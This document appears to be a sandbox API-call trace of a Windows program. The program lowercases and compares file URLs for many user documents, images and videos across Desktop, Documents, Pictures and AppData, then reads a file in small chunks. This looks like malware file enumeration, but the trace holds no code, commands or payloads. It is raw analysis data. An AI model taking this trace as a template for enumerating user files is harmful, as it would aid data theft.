[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/4xsp.doc") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned 1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/limz5v.csv") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned -1
[0079.504] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned 1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/tghk.docx") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned -1
[0079.505] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned 1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/db_m.pptx") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/bscqw.odt") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned 1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned -1
[0079.506] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf", _String2="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned 1
[0079.506] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.506] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/TnXw0VodS.docx" | out: _Str="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned="file:///c:/users/atveydl98z/documents/tnxw0vods.docx"
[0079.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned 53
[0079.506] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.507] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/pIm74EMK.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned="file:///c:/users/atveydl98z/documents/pim74emk.xlsx"
[0079.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned 52
[0079.507] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.507] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/IIfN4U9wWEiqmdCl9.bmp" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp"
[0079.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned 66
[0079.507] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.507] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/RNnDLhlYrGWUPi.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx"
[0079.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned 58
[0079.507] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.507] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/_ODawwKfl1ra.docx" | out: _Str="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx"
[0079.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned 56
[0079.507] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.508] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/r2ojuqWylgit6.ots" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots"
[0079.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned 62
[0079.508] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.508] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/k4k5N.flv" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv"
[0079.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned 58
[0079.508] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.508] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/mfOtGB5shNY.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif"
[0079.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned 84
[0079.508] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.508] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/_1X3x.png" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png"
[0079.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned 54
[0079.508] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.508] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/Qk7rBUTISPvIZu7iod.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif"
[0079.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned 60
[0079.508] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.509] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/ckLlfrRI-ZJDKcmsAe.gif" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif"
[0079.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned 67
[0079.509] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.509] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/L9uJ7p%20fbA_9_y.ppt" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt"
[0079.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned 65
[0079.509] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.509] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/encWJ2/QTvVz.ots" | out: _Str="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots"
[0079.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned 53
[0079.509] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.509] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/YZ5jE7_%203.pps" | out: _Str="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps"
[0079.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned 54
[0079.509] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.509] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/JojE0p8BocqGJp%20O6.pps" | out: _Str="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps"
[0079.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned 62
[0079.509] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.509] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/swPAr5UKZeY.xls" | out: _Str="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls"
[0079.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned 54
[0079.510] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.510] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/3JBbRdK5kxYke.jpg" | out: _Str="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg"
[0079.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned 54
[0079.510] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.510] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/qQUJwic.doc" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc"
[0079.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned 60
[0079.510] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.510] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/qu0oigomB7AP.gif" | out: _Str="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif"
[0079.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned 53
[0079.510] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.510] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/xsdx_zRd.docx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx"
[0079.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned 62
[0079.510] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.510] _strlwr (in: _Str="file:///C:/Users/ATVEYD~1/Desktop/49343.doc" | out: _Str="file:///c:/users/atveyd~1/desktop/49343.doc") returned="file:///c:/users/atveyd~1/desktop/49343.doc"
[0079.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveyd~1/desktop/49343.doc") returned 44
[0079.511] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.511] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.511] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.511] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.511] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.511] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.511] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.511] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.511] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.512] SetFilePointer (in: hFile=0x9c, lDistanceToMove=62592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf480
[0079.512] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.512] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.512] SetFilePointer (in: hFile=0x9c, lDistanceToMove=62720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf500
[0079.512] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.512] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.512] SetFilePointer (in: hFile=0x9c, lDistanceToMove=62848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf580
[0079.512] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.512] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.512] SetFilePointer (in: hFile=0x9c, lDistanceToMove=62976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf600
